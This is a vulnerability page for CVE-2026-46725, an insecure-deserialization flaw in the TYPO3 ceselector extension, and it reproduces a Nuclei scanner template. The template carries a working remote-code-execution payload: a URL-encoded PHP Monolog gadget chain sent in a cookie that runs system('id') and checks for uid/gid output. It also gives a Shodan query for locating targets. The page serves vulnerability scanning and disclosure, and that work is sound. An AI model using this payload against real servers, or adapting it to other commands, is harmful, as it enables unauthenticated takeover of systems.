CVE-2026-46725: TYPO3 ceselector Extension - Insecure Deserialization

2026-06-17 TYPO3 PoC Public

Description

TYPO3 extension contains a PHP Object Injection caused by passing attacker-controlled cookie to unserialize() without validation, letting remote unauthenticated attackers achieve remote code execution, exploit requires Persistent Mode: Static configuration.

PoC

id: CVE-2026-46725

info:
  name: TYPO3 ceselector Extension - Insecure Deserialization
  author: DhiyaneshDk
  severity: critical
  description: |
    TYPO3 extension contains a PHP Object Injection caused by passing attacker-controlled cookie to unserialize() without validation, letting remote unauthenticated attackers achieve remote code execution, exploit requires Persistent Mode: Static configuration.
  impact: |
    Remote unauthenticated attackers can execute arbitrary code on the TYPO3 server, leading to full system compromise.
  remediation: |
    Update to the latest version of TYPO3 with the vulnerability fixed or apply patches that validate and sanitize unserialize input.
  reference:
    - https://typo3.org/security/advisory/typo3-ext-sa-2026-001
    - https://packagist.org/packages/mmc/ceselector
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-46725
    epss-score: 0.02625
    epss-percentile: 0.84714
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 2
    vendor: mmc
    product: ceselector
    framework: typo3
    shodan-query: http.component:"TYPO3 CMS"
  tags: cve,cve2026,typo3,deserialization,rce,ceselector,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "T3_ceselector_")'
        internal: true

    extractors:
      - type: regex
        name: ceselector_cookie
        part: header
        group: 1
        regex:
          - "(?i)Set-Cookie:\\s*(T3_ceselector_\\d+)="
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Connection: close
        Cookie: {{ceselector_cookie}}=O%3A28%3A%22Monolog%5CHandler%5CGroupHandler%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00handlers%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A29%3A%22Monolog%5CHandler%5CBufferHandler%22%3A6%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3Br%3A3%3Bs%3A13%3A%22%00%2A%00bufferSize%22%3Bi%3A1%3Bs%3A14%3A%22%00%2A%00bufferLimit%22%3Bi%3A0%3Bs%3A9%3A%22%00%2A%00buffer%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22Monolog%5CLogRecord%22%3A2%3A%7Bs%3A5%3A%22level%22%3BE%3A19%3A%22Monolog%5CLevel%3ADebug%22%3Bs%3A5%3A%22mixed%22%3Bs%3A2%3A%22id%22%3B%7D%7Ds%3A14%3A%22%00%2A%00initialized%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00processors%22%3Ba%3A3%3A%7Bi%3A0%3Bs%3A15%3A%22get_object_vars%22%3Bi%3A1%3Bs%3A3%3A%22end%22%3Bi%3A2%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("uid=\\d+\\([a-z_][a-z0-9_-]*\\)\\s+gid=\\d+\\([a-z_][a-z0-9_-]*\\)", body)'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 0
        regex:
          - "uid=\\d+\\([a-zA-Z0-9_-]+\\)\\s+gid=\\d+\\([a-zA-Z0-9_-]+\\)[^\\n]*"
# digest: 4b0a00483046022100d159c115c24ce26c6e0f23e069ac9546d39162be15abe08a8b44e477eca82b3b022100ea6b2e472b5e67e7950036ebdf21c6b71c607b3b74ccfd8861e8180a8995e851:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-46725.yaml

References

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